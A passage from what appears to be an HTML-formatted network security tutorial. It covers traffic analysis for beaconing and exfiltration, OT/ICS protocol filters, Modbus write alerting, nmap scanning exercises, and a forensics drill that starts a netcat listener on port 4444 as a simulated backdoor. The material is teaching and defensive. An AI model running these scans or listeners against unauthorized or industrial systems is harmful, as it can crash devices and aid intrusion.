    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2":"$3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# High count to same IP:port = possible beacon&lt;/span&gt;

&lt;span class="c"&gt;# Find large data transfers:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/analysis.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; endpoints,ip | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;4 {print $3, $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Large bytes_sent from internal IP to external = possible exfiltration&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Network Analysis in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Passive vs Active Analysis in OT
&lt;/h3&gt;

&lt;p&gt;The cardinal rule of network analysis in OT environments: &lt;strong&gt;passive first, active only with explicit approval&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Passive Analysis Tools (safe for OT):
  Wireshark/tcpdump: listen-only, no traffic injection
  - Connect via SPAN/mirror port on managed switch
  - Use network TAP (hardware device) for full-duplex capture
  - Analyse traffic generated by existing devices — no new traffic created

  Netstat/ss: local host analysis
  - Run on engineering workstations, HMI servers
  - No network traffic generated — purely local

  ipconfig/ifconfig/ip: interface configuration
  - Local host only — no network impact

Active Analysis Tools (require approval in OT):
  Ping: low risk (usually), but must be approved
  - Some legacy RTUs crash on unexpected ICMP
  - Always check with vendor before pinging OT devices

  Traceroute: moderate risk
  - Sends TTL-limited packets — some OT devices respond unexpectedly
  - Useful for mapping, but schedule during maintenance if possible

  Nmap: HIGH risk — must have written approval and operational window
  - PLCs can crash or restart on unexpected port scans
  - Safety systems: NEVER scan without vendor written approval
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Industrial Protocol Analysis in Wireshark
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wireshark dissectors for OT protocols:&lt;/span&gt;

&lt;span class="c"&gt;# Modbus TCP (port 502):&lt;/span&gt;
&lt;span class="c"&gt;# Wireshark automatically dissects Modbus if capture contains port 502 traffic&lt;/span&gt;
&lt;span class="c"&gt;# Useful display filters:&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 3    (Read Holding Registers — most common)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 16   (Preset Multiple Registers — write commands)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.func_code == 1    (Read Coil Status)&lt;/span&gt;
&lt;span class="c"&gt;# modbus.exception_code    (Modbus error responses)&lt;/span&gt;

&lt;span class="c"&gt;# Security analysis of Modbus:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; ot_capture.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"modbus.func_code &amp;gt;= 5"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;  &lt;span class="c"&gt;# Write commands only&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.func_code &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.reference_num        &lt;span class="c"&gt;# Register number being written&lt;/span&gt;

&lt;span class="c"&gt;# DNP3 (port 20000):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: dnp3&lt;/span&gt;
&lt;span class="c"&gt;# Security-relevant function codes:&lt;/span&gt;
&lt;span class="c"&gt;# 3 = Time and Date (write)&lt;/span&gt;
&lt;span class="c"&gt;# 4 = File Transfer&lt;/span&gt;
&lt;span class="c"&gt;# 13 = Object 21 (frozen analog — operational data)&lt;/span&gt;
&lt;span class="c"&gt;# 129 = Response (data from field device)&lt;/span&gt;

&lt;span class="c"&gt;# IEC 60870-5-104 (port 2404):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: iec104&lt;/span&gt;
&lt;span class="c"&gt;# ASDU type analysis for operational data vs control commands&lt;/span&gt;

&lt;span class="c"&gt;# OPC-UA (port 4840):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: opcua&lt;/span&gt;
&lt;span class="c"&gt;# Look for: unusual sessions, high data transfer, unexpected service calls&lt;/span&gt;

&lt;span class="c"&gt;# EtherNet/IP / CIP (port 44818):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: enip or cip&lt;/span&gt;
&lt;span class="c"&gt;# CIP services of concern:&lt;/span&gt;
&lt;span class="c"&gt;# 0x4C = Get Attribute Single (reconnaissance)&lt;/span&gt;
&lt;span class="c"&gt;# 0x4D = Set Attribute Single (configuration change)&lt;/span&gt;
&lt;span class="c"&gt;# 0x10 = Set Attribute All (bulk configuration change)&lt;/span&gt;

&lt;span class="c"&gt;# PROFINET (uses Ethernet frames directly):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: pn_io or pn_dcp&lt;/span&gt;
&lt;span class="c"&gt;# DCP: Device discovery protocol (maps device layout)&lt;/span&gt;
&lt;span class="c"&gt;# RT: Real-time data frames (process data)&lt;/span&gt;

&lt;span class="c"&gt;# BACnet (UDP 47808):&lt;/span&gt;
&lt;span class="c"&gt;# Filter: bacnet&lt;/span&gt;
&lt;span class="c"&gt;# Service: readProperty (reconnaissance)&lt;/span&gt;
&lt;span class="c"&gt;# Service: writeProperty (control)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 OT-Specific Security Monitoring
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Baseline normal OT traffic, then alert on deviations:&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Capture baseline during known-good operation&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/ot_baseline_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%H%M%S&lt;span class="si"&gt;)&lt;/span&gt;.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-G&lt;/span&gt; 3600 &lt;span class="nt"&gt;-W&lt;/span&gt; 24 &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# 1 hour rotation, keep 24 files (1 day)&lt;/span&gt;
    &lt;span class="s1"&gt;'port 502 or port 20000 or port 2404 or port 44818 or port 47808'&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Build source-destination matrix from baseline&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/ot_baseline.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +5 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, "&amp;lt;-&amp;gt;", $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/expected_connections.txt

&lt;span class="c"&gt;# Step 3: Compare current traffic against baseline&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/current.pcap &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; +5 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1, "&amp;lt;-&amp;gt;", $3}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/current_connections.txt

&lt;span class="c"&gt;# Connections not in baseline = potential anomaly:&lt;/span&gt;
&lt;span class="nb"&gt;comm&lt;/span&gt; &lt;span class="nt"&gt;-13&lt;/span&gt; /tmp/expected_connections.txt /tmp/current_connections.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Above connections are NEW — not seen in baseline"&lt;/span&gt;

&lt;span class="c"&gt;# Step 4: Alert on write commands to PLCs (should be rare during operation):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tshark &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"modbus.func_code &amp;gt;= 5"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="nt"&gt;-e&lt;/span&gt; modbus.func_code | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[ALERT] Modbus write command: &lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | logger &lt;span class="nt"&gt;-t&lt;/span&gt; OT_SECURITY
    &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Wireshark Protocol Deep-Dive (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Download sample captures from Wireshark's wiki:&lt;/span&gt;
wget &lt;span class="nt"&gt;-q&lt;/span&gt; https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-O&lt;/span&gt; /tmp/http_sample.pcap 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Download from wiki.wireshark.org/SampleCaptures manually"&lt;/span&gt;

&lt;span class="c"&gt;# If no download, generate your own:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/my_capture.pcap &lt;span class="nt"&gt;-c&lt;/span&gt; 500 &amp;amp;
&lt;span class="c"&gt;# Browse some websites, then:&lt;/span&gt;
curl http://neverssl.com/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
curl https://example.com &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
nslookup google.com &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;span class="nb"&gt;kill&lt;/span&gt; %1 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Analysis tasks (in Wireshark):&lt;/span&gt;
&lt;span class="nv"&gt;CAPTURE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/my_capture.pcap"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 1: Protocol Distribution ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; io,phs 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 2: Top 5 Talkers ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,ip 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 3: DNS Queries Made ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"dns.flags.response == 0"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; dns.qry.name 2&amp;gt;/dev/null | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 4: HTTP Requests ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="nt"&gt;-e&lt;/span&gt; http.host &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 5: TCP Connections ==="&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; conv,tcp 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Task 6: Open Wireshark for visual analysis ==="&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Commands: wireshark &lt;/span&gt;&lt;span class="nv"&gt;$CAPTURE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Try these filters:"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  tcp.flags.syn == 1 and tcp.flags.ack == 0"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  http.request"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  dns"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ip.addr == 8.8.8.8"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Nmap Discovery and Scanning (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap exercises (on your own lab network)&lt;/span&gt;

&lt;span class="nv"&gt;NETWORK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"192.168.1.0/24"&lt;/span&gt;  &lt;span class="c"&gt;# Change to your network&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.1: Host Discovery ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Nmap scan|Host is"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.2: SYN scan of single host ==="&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NETWORK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"report for"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $NF}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Scanning &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 1-1000 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.3: Version detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.4: NSE default scripts ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.5: OS detection ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"OS details"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Exercise 2.6: Save results ==="&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; /tmp/nmap_exercise &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Results saved: /tmp/nmap_exercise.{nmap,xml,gnmap}"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Open XML in Metasploit: db_import /tmp/nmap_exercise.xml"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Network Forensics Investigation (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Simulate a security incident and investigate&lt;/span&gt;

&lt;span class="c"&gt;# Step 1: Create baseline network state&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== Baseline Network State ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_connections.txt
ip addr show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_interfaces.txt
ip route show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_routes.txt
ip neigh show &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/baseline_arp.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Baseline saved"&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Start a background listener (simulating backdoor):&lt;/span&gt;
nc &lt;span class="nt"&gt;-l&lt;/span&gt; 4444 &amp;amp;
&lt;span class="nv"&gt;NC_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$!&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Simulated backdoor started on port 4444 (PID: &lt;/span&gt;&lt;span class="nv"&gt;$NC_PID&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: Investigate — find the "backdoor":&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== INVESTIGATION ==="&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step A: Check for new listening ports ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/baseline_connections.txt | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4}'&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LISTEN | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\n'&lt;/span&gt; &lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step B: Find the specific listener ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;":4444"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step C: Identify the process ---"&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;":4444"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pid&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;pid_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;#pid=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PID: &lt;/span&gt;&lt;span class="nv"&gt;$pid_num&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Command: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/cmdline 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Executable: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/exe 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"--- Step D: Check ARP for new hosts ---"&lt;/span&gt;
